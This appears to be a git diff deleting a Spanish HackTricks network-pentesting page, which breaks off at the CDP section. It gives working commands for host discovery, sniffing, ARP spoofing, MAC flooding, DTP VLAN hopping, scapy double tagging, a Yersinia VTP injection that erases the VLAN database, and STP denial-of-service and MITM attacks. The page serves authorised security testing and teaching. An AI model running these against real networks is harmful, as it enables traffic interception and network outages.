|
|
@ -1,815 +0,0 @@
|
|||
# Pentesting de Redes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Descubriendo hosts desde el exterior
|
||||
|
||||
Esta será una **breve sección** sobre cómo encontrar **IP que responden** desde **Internet**.\
|
||||
En esta situación, tienes algún **alcance de IPs** (quizás incluso varios **rangos**) y solo necesitas encontrar **qué IPs están respondiendo**.
|
||||
|
||||
### ICMP
|
||||
|
||||
Esta es la forma más **fácil** y **rápida** de descubrir si un host está activo o no.\
|
||||
Podrías intentar enviar algunos paquetes **ICMP** y **esperar respuestas**. La forma más fácil es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacerlo usando un simple `ping` o usando `fping` para **rangos**.\
|
||||
También puedes usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros para la solicitud-respuesta de eco ICMP común).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
|
||||
```
|
||||
### Descubrimiento de puertos TCP
|
||||
|
||||
Es muy común encontrar que todos los tipos de paquetes ICMP están siendo filtrados. Entonces, todo lo que puedes hacer para comprobar si un host está activo es **tratar de encontrar puertos abiertos**. Cada host tiene **65535 puertos**, por lo que, si tienes un alcance "grande", **no puedes** probar si **cada puerto** de cada host está abierto o no, eso tomará demasiado tiempo.\
|
||||
Entonces, lo que necesitas es un **escáner de puertos rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) y una lista de los **puertos más utilizados:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
También se puede realizar este paso con `nmap`, pero es más lento y a veces `nmap` tiene problemas para identificar hosts activos.
|
||||
|
||||
### Descubrimiento de puertos HTTP
|
||||
|
||||
Esto es simplemente un descubrimiento de puertos TCP útil cuando se quiere **centrarse en descubrir servicios HTTP**.
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### Descubrimiento de puertos UDP
|
||||
|
||||
También puedes intentar verificar si hay algún **puerto UDP abierto** para decidir si debes **prestar más atención** a un **host**. Como los servicios UDP generalmente **no responden** con **ningún dato** a un paquete de sonda UDP vacío regular, es difícil decir si un puerto está siendo filtrado o abierto. La forma más fácil de decidir esto es enviar un paquete relacionado con el servicio en ejecución, y como no sabes qué servicio está en ejecución, debes intentar el más probable basado en el número de puerto:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **sondas UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 minuto): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### Descubrimiento de puertos SCTP
|
||||
```bash
|
||||
#Probably useless, but it's pretty fast, why not trying?
|
||||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||||
```
|
||||
## Pentesting Wifi
|
||||
|
||||
Aquí puedes encontrar una guía completa de todos los ataques Wifi conocidos en el momento de la escritura:
|
||||
|
||||
{% content-ref url="../pentesting-wifi/" %}
|
||||
[pentesting-wifi](../pentesting-wifi/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Descubriendo hosts desde el interior
|
||||
|
||||
Si estás dentro de la red, una de las primeras cosas que querrás hacer es **descubrir otros hosts**. Dependiendo de **cuánto ruido** puedas o quieras hacer, se pueden realizar diferentes acciones:
|
||||
|
||||
### Pasivo
|
||||
|
||||
Puedes utilizar estas herramientas para descubrir hosts de forma pasiva dentro de una red conectada:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
# Bettercap
|
||||
net.recon on/off #Read local ARP cache periodically
|
||||
net.show
|
||||
set net.show.meta true #more info
|
||||
```
|
||||
### Activo
|
||||
|
||||
Tenga en cuenta que las técnicas comentadas en [_**Descubriendo hosts desde el exterior**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también se pueden **aplicar aquí**.\
|
||||
Pero, como se encuentra en la **misma red** que los otros hosts, puede hacer **más cosas**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
netdiscover -r <Network> #ARP requests (Discover IPs)
|
||||
|
||||
#NBT discovery
|
||||
nbtscan -r 192.168.0.1/24 #Search in Domain
|
||||
|
||||
# Bettercap
|
||||
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
|
||||
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
|
||||
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
|
||||
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
|
||||
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
|
||||
set net.probe.throttle 10 #10ms between probes sent (default=10)
|
||||
|
||||
#IPv6
|
||||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### ICMP Activo
|
||||
|
||||
Tenga en cuenta que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también se pueden **aplicar aquí**.\
|
||||
Pero, como está en la **misma red** que los otros hosts, puede hacer **más cosas**:
|
||||
|
||||
* Si **pingea** una **dirección de difusión de subred**, el ping debería llegar a **cada host** y ellos podrían **responderle**: `ping -b 10.10.5.255`
|
||||
* Al hacer ping a la **dirección de difusión de red**, incluso podría encontrar hosts dentro de **otras subredes**: `ping -b 255.255.255.255`
|
||||
* Use la bandera `-PEPM` de `nmap` para realizar el descubrimiento de hosts enviando solicitudes de **eco ICMPv4**, **marca de tiempo** y **máscara de subred**: `nmap -PEPM -sP –vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es solo un paquete donde se proporciona una **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\
|
||||
Luego, este tipo de paquetes generalmente se envían en un **ethernet 0x0842** o en un paquete **UDP al puerto 9**.\
|
||||
Si **no se proporciona una \[MAC]**, el paquete se envía a **broadcast ethernet** (y la MAC de difusión será la que se repita).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## Escaneo de hosts
|
||||
|
||||
Una vez que hayas descubierto todas las IPs (externas o internas) que deseas escanear en profundidad, se pueden realizar diferentes acciones.
|
||||
|
||||
### TCP
|
||||
|
||||
* Puerto **abierto**: _SYN --> SYN/ACK --> RST_
|
||||
* Puerto **cerrado**: _SYN --> RST/ACK_
|
||||
* Puerto **filtrado**: _SYN --> \[NO RESPONSE]_
|
||||
* Puerto **filtrado**: _SYN --> mensaje ICMP_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
# Nmap fast scan for all the ports
|
||||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
|
||||
# Nmap fast scan for all the ports slower to avoid failures due to -T4
|
||||
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
|
||||
|
||||
#Bettercap Scan
|
||||
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
```
|
||||
### UDP
|
||||
|
||||
Existen 2 opciones para escanear un puerto UDP:
|
||||
|
||||
* Enviar un **paquete UDP** y comprobar la respuesta _**ICMP unreachable**_ si el puerto está **cerrado** (en varios casos ICMP estará **filtrado** por lo que no recibirás información si el puerto está cerrado o abierto).
|
||||
* Enviar un **datagrama formateado** para obtener una respuesta de un **servicio** (por ejemplo, DNS, DHCP, TFTP y otros, como se indica en _nmap-payloads_). Si recibes una **respuesta**, entonces el puerto está **abierto**.
|
||||
|
||||
**Nmap** mezclará **ambas** opciones usando "-sV" (los escaneos UDP son muy lentos), pero ten en cuenta que los escaneos UDP son más lentos que los escaneos TCP:
|
||||
```bash
|
||||
# Check if any of the most common udp services is running
|
||||
udp-proto-scanner.pl <IP>
|
||||
# Nmap fast check if any of the 100 most common UDP services is running
|
||||
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
|
||||
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
|
||||
nmap -sU -sV -sC -n -F -T4 <IP>
|
||||
# Nmap "fast" top 1000 UDP ports
|
||||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||||
```
|
||||
### Escaneo SCTP
|
||||
|
||||
SCTP se encuentra junto a TCP y UDP. Diseñado para proporcionar **transporte** de datos de **telefonía** sobre **IP**, el protocolo duplica muchas de las características de confiabilidad del Sistema de Señalización 7 (SS7), y sustenta una familia de protocolos más grande conocida como SIGTRAN. SCTP es soportado por sistemas operativos que incluyen IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS y VxWorks.
|
||||
|
||||
Nmap ofrece dos escaneos diferentes para SCTP: _-sY_ y _-sZ_.
|
||||
```bash
|
||||
# Nmap fast SCTP scan
|
||||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||||
# Nmap all SCTP scan
|
||||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||||
```
|
||||
### Evasión de IDS e IPS
|
||||
|
||||
{% content-ref url="ids-evasion.md" %}
|
||||
[ids-evasion.md](ids-evasion.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Más opciones de nmap**
|
||||
|
||||
{% content-ref url="nmap-summary-esp.md" %}
|
||||
[nmap-summary-esp.md](nmap-summary-esp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Revelación de direcciones IP internas
|
||||
|
||||
Los routers, firewalls y dispositivos de red mal configurados a veces **responden** a las sondas de red **utilizando direcciones de origen no públicas**. Se puede utilizar _tcpdump_ para **identificar paquetes** recibidos de **direcciones privadas** durante las pruebas. En este caso, la interfaz _eth2_ en Kali Linux es **direccionable** desde el **Internet público** (si se encuentra **detrás** de un **NAT** o un **firewall**, este tipo de paquetes probablemente serán **filtrados**).
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
|
||||
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
|
||||
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Al hacer sniffing, se pueden obtener detalles de rangos de IP, tamaños de subred, direcciones MAC y nombres de host revisando los frames y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing pasivo de la red.
|
||||
|
||||
Si una red Ethernet conmutada está configurada correctamente, solo se verán frames de difusión y material destinado a su dirección MAC.
|
||||
|
||||
### TCPDump
|
||||
```bash
|
||||
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
También se puede capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como interfaz gráfica en tiempo real.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
```
|
||||
### Bettercap
|
||||
|
||||
Bettercap es una herramienta de hacking de red que permite a los pentesters realizar ataques MITM (Man-in-the-middle) en una red. Con Bettercap, los pentesters pueden interceptar el tráfico de red, capturar contraseñas y realizar ataques de phishing. Además, Bettercap también puede realizar ataques de inyección de paquetes y escanear la red en busca de vulnerabilidades. Bettercap es una herramienta muy poderosa y debe ser utilizada con precaución y solo con fines éticos.
|
||||
```bash
|
||||
net.sniff on
|
||||
net.sniff stats
|
||||
set net.sniff.output sniffed.pcap #Write captured packets to file
|
||||
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
|
||||
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
|
||||
set net.sniff.regexp #If set only packets matching this regex will be considered
|
||||
```
|
||||
### Wireshark
|
||||
|
||||
Obviamente.
|
||||
|
||||
### Capturando credenciales
|
||||
|
||||
Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales desde un archivo pcap o una interfaz en vivo.
|
||||
|
||||
## Ataques LAN
|
||||
|
||||
### ARP spoofing
|
||||
|
||||
El ARP Spoofing consiste en enviar respuestas ARP gratuitas para indicar que la IP de una máquina tiene la MAC de nuestro dispositivo. Entonces, la víctima cambiará la tabla ARP y contactará nuestra máquina cada vez que quiera contactar con la IP falsificada.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
arp.spoof on
|
||||
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
|
||||
set arp.spoof.whitelist #Specific targets to skip while spoofing
|
||||
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
|
||||
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
|
||||
```
|
||||
#### **Arpspoof**
|
||||
|
||||
Arpspoof es una herramienta que permite interceptar el tráfico de red entre dos dispositivos al hacerse pasar por el router. Esto se logra enviando paquetes ARP falsificados a ambos dispositivos, lo que hace que crean que el atacante es el router y envíen todo su tráfico a través de él. De esta manera, el atacante puede interceptar y analizar todo el tráfico que pasa entre los dos dispositivos. Arpspoof es una técnica comúnmente utilizada en ataques de tipo "Man-in-the-middle" (MITM).
|
||||
```bash
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
arpspoof -t 192.168.1.1 192.168.1.2
|
||||
arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - Desbordamiento de CAM
|
||||
|
||||
Se produce un desbordamiento de la tabla CAM del switch enviando una gran cantidad de paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un concentrador (transmitiendo todo el tráfico).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
En los switches modernos esta vulnerabilidad ha sido corregida.
|
||||
|
||||
### Ataques 802.1Q VLAN / DTP
|
||||
|
||||
#### Troncalización Dinámica
|
||||
|
||||
**DTP (Protocolo de Troncalización Dinámica)** es un protocolo de capa de enlace diseñado para proporcionar un sistema de troncalización automático. Con DTP, los switches deciden qué puerto funcionará en modo troncal (Trunk) y cuál no. El uso de **DTP** indica una **mala diseño de red.** Las troncales deben estar estrictamente donde se necesitan, y debe estar documentado.
|
||||
|
||||
**Por defecto, todos los puertos del switch operan en modo Dynamic Auto.** Esto indica que el puerto del switch está en modo de iniciación de troncal desde el switch vecino. **El Pentester necesita conectarse físicamente al switch y enviar un marco DTP Desirable**, lo que activa el puerto para cambiar al modo troncal. El atacante puede entonces enumerar VLANs usando análisis de marcos STP y evitar la segmentación de VLAN creando interfaces virtuales.
|
||||
|
||||
Muchos switches admiten el Protocolo de Troncalización Dinámica (DTP) de forma predeterminada, sin embargo, un adversario puede abusar de él para **emular un switch y recibir tráfico en todas las VLAN**. La herramienta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) puede husmear una interfaz y **reportar si el switch está en modo predeterminado, troncal, dinámico, automático o de acceso** (este último sería el único que evitaría el salto de VLAN). La herramienta indicará si el switch es vulnerable o no.
|
||||
|
||||
Si se descubre que la red es vulnerable, se puede usar _**Yersinia**_ para lanzar un "**enable trunking**" usando el protocolo "**DTP**" y se podrán ver los paquetes de red de todas las VLAN.
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
yersinia -I #Interactive mode
|
||||
#In interactive mode you will need to select a interface first
|
||||
#Then, you can select the protocol to attack using letter "g"
|
||||
#Finally, you can select the attack using letter "x"
|
||||
|
||||
yersinia -G #For graphic mode
|
||||
```
|
||||
 (1).png>)
|
||||
|
||||
También es posible enumerar las VLANs generando el marco DTP Desirable con el script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. No interrumpa el script bajo ninguna circunstancia. Inyecta DTP Desirable cada tres segundos. **Los canales de troncal dinámicamente creados en el switch solo duran cinco minutos. Después de cinco minutos, la troncal se cae.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Me gustaría señalar que **Access/Desirable (0x03)** indica que el marco DTP es del tipo Deseable, lo que indica al puerto que cambie al modo Trunk. Y **802.1Q/802.1Q (0xa5)** indica el tipo de encapsulación **802.1Q**.
|
||||
|
||||
Al analizar los marcos STP, **aprendemos sobre la existencia de VLAN 30 y VLAN 60.**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (18) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Atacando VLANs específicas
|
||||
|
||||
Una vez que se conocen los valores de ID de VLAN e IPs, se puede **configurar una interfaz virtual para atacar una VLAN específica**.\
|
||||
Si DHCP no está disponible, entonces use _ifconfig_ para establecer una dirección IP estática.
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
root@kali:~# vconfig add eth1 250
|
||||
Added VLAN with VID == 250 to IF -:eth1:-
|
||||
root@kali:~# dhclient eth1.250
|
||||
Reloading /etc/samba/smb.conf: smbd only.
|
||||
root@kali:~# ifconfig eth1.250
|
||||
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
|
||||
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
|
||||
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
|
||||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||||
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
|
||||
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
|
||||
collisions:0 txqueuelen:0
|
||||
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
|
||||
|
||||
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
|
||||
```
|
||||
|
||||
```bash
|
||||
# Another configuration example
|
||||
modprobe 8021q
|
||||
vconfig add eth1 20
|
||||
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
|
||||
```
|
||||
|
||||
```bash
|
||||
# Another configuration example
|
||||
sudo vconfig add eth0 30
|
||||
sudo ip link set eth0.30 up
|
||||
sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Saltador automático de VLAN
|
||||
|
||||
El ataque discutido de **Troncal Dinámica y creación de interfaces virtuales para descubrir hosts dentro** de otras VLANs se **realiza automáticamente** con la herramienta: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Doble etiquetado
|
||||
|
||||
Si un atacante conoce el valor del **MAC, IP y ID de VLAN del host víctima**, podría intentar **etiquetar dos veces un marco** con su VLAN designada y la VLAN de la víctima y enviar un paquete. Como la **víctima no podrá conectarse de vuelta** con el atacante, la **mejor opción para el atacante es comunicarse a través de UDP** a protocolos que puedan realizar algunas acciones interesantes (como SNMP).
|
||||
|
||||
Otra opción para el atacante es lanzar un **escaneo de puertos TCP suplantando una IP controlada por el atacante y accesible por la víctima** (probablemente a través de internet). Luego, el atacante podría espiar en el segundo host que posee si recibe algunos paquetes de la víctima.
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Para realizar este ataque se puede usar scapy: `pip install scapy`
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||||
sendp(packet)
|
||||
```
|
||||
#### Bypass de Segmentación Lateral de VLAN <a href="#d679" id="d679"></a>
|
||||
|
||||
Si tienes **acceso a un switch al que estás conectado directamente**, tienes la capacidad de **bypassear la segmentación de VLAN** dentro de la red. Simplemente **cambia el puerto al modo trunk** (también conocido como trunking), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección dinámicamente (DHCP) o puedes configurarla estáticamente. Depende del caso.
|
||||
|
||||
{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
|
||||
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Bypass de VLAN Privada de Capa 3
|
||||
|
||||
En redes inalámbricas de invitados y otros entornos, se utilizan configuraciones de VLAN privadas (también conocidas como _aislamiento de puertos_) para **evitar que los pares interactúen** (es decir, los clientes **se conectan a un punto de acceso inalámbrico pero no pueden dirigirse entre sí**). Dependiendo de las ACLs de red (o la falta de ellas), podría ser posible enviar paquetes IP a un enrutador, que luego se reenvían a un par vecino.
|
||||
|
||||
Este ataque enviará un **paquete especialmente diseñado a la IP de un cliente pero con la MAC del enrutador**. Luego, el **enrutador redirigirá el paquete al cliente**. Como en los _ataques de doble etiquetado_, puedes explotar esta vulnerabilidad controlando un host accesible por la víctima.
|
||||
|
||||
### Ataques VTP
|
||||
|
||||
**VTP (Protocolo de Troncalización de VLAN)** es un protocolo diseñado para administrar centralmente VLANs. Para realizar un seguimiento de la base de datos actual de VLAN, los switches verifican números de revisión especiales. Cuando ocurre cualquier actualización de tabla, el número de revisión se incrementa en uno. Y si un switch detecta una configuración con un número de revisión más alto, actualizará automáticamente su base de datos de VLAN.
|
||||
|
||||
#### Roles en un dominio VTP <a href="#ebfc" id="ebfc"></a>
|
||||
|
||||
* **Servidor VTP.** Un switch en el rol de Servidor VTP puede crear nuevas VLANs, eliminar antiguas o cambiar información en las propias VLANs. **También genera anuncios VTP para el resto de los miembros del dominio.**
|
||||
* **Cliente VTP.** Un switch en este rol recibirá anuncios VTP específicos de otros switches en el dominio para actualizar las bases de datos de VLAN en su propio switch. Los clientes están limitados en su capacidad para crear VLANs e incluso no se les permite cambiar la configuración de VLAN localmente. En otras palabras, **acceso de solo lectura.**
|
||||
* **Transparente VTP.** En este modo, el switch no participa en los procesos VTP y puede alojar la administración completa y local de toda la configuración de VLAN. Cuando opera en modo transparente, los switches solo transmiten anuncios VTP de otros switches sin afectar su configuración de VLAN. **Estos switches siempre tendrán un número de revisión de cero y no pueden ser atacados.**
|
||||
|
||||
#### Tipos de anuncios <a href="#b384" id="b384"></a>
|
||||
|
||||
* **Anuncio de Resumen —** el anuncio VTP que el servidor VTP envía cada **300 segundos (5 minutos).** Este anuncio almacena el nombre del dominio VTP, la versión del protocolo, la marca de tiempo y el valor hash de configuración MD5.
|
||||
* **Anuncio de Subconjunto —** este es el anuncio VTP que se envía cada vez que ocurre un cambio en la configuración de VLAN.
|
||||
* **Solicitud de Anuncio —** es una solicitud del cliente VTP al servidor VTP para un mensaje de Anuncio de Resumen. Por lo general, se envía en respuesta a un mensaje que indica que un switch ha detectado un Anuncio de Resumen con un número de revisión de configuración más alto.
|
||||
|
||||
VTP solo puede ser atacado desde un puerto trunk, porque los anuncios VTP solo se transmiten y reciben en puertos trunk. Por lo tanto, cuando haces pentesting después de atacar DTP, tu próximo objetivo podría ser VTP. Para atacar el dominio VTP, puedes **usar Yersinia** para **ejecutar una inyección VTP que borrará toda la base de datos de VLAN** y así paralizar la red.
|
||||
|
||||
{% hint style="info" %}
|
||||
El protocolo VTP tiene hasta **tres versiones**. En esta publicación, el ataque es contra la primera versión, VTPv1.
|
||||
{% endhint %}
|
||||
```bash
|
||||
yersinia -G #For graphic mode
|
||||
```
|
||||
Para borrar toda la base de datos VLAN, selecciona la opción **eliminar todos los VLAN de VTP**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (22) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ataques STP
|
||||
|
||||
**Si no puedes capturar tramas BPDU en tus interfaces, es poco probable que tengas éxito en un ataque STP.**
|
||||
|
||||
#### **DoS BPDU STP**
|
||||
|
||||
Al enviar muchas BPDUs TCP (Notificación de Cambio de Topología) o Conf (las BPDUs que se envían cuando se crea la topología), los switches se sobrecargan y dejan de funcionar correctamente.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
#Use -M to disable MAC spoofing
|
||||
```
|
||||
#### **Ataque STP TCP**
|
||||
|
||||
Cuando se envía un paquete TCP, la tabla CAM de los switches se eliminará en 15 segundos. Entonces, si envías continuamente este tipo de paquetes, la tabla CAM se reiniciará continuamente (o cada 15 segundos) y cuando se reinicie, el switch se comportará como un hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **Ataque de raíz STP**
|
||||
|
||||
El atacante simula el comportamiento de un switch para convertirse en la raíz STP de la red. Entonces, más datos pasarán a través de él. Esto es interesante cuando estás conectado a dos switches diferentes.\
|
||||
Esto se hace enviando paquetes CONF de BPDUs diciendo que el valor de **prioridad** es menor que la prioridad real del switch raíz actual.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
```
|
||||
**Si el atacante está conectado a 2 switches, puede ser la raíz del nuevo árbol y todo el tráfico entre esos switches pasará a través de él** (se realizará un ataque MITM).
|
||||
```bash
|
||||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||||
```
|
||||
### Ataques CDP
|
||||
|
||||
El Protocolo de Descubrimiento CISCO (CDP) es el protocolo utilizado por los dispositivos CISCO para comunicarse entre sí, **descubrir quién está vivo** y qué características tienen.
|
||||
|
||||
#### Recopilación de información <a href="#0e0f" id="0e0f"></a>
|
||||
|
||||
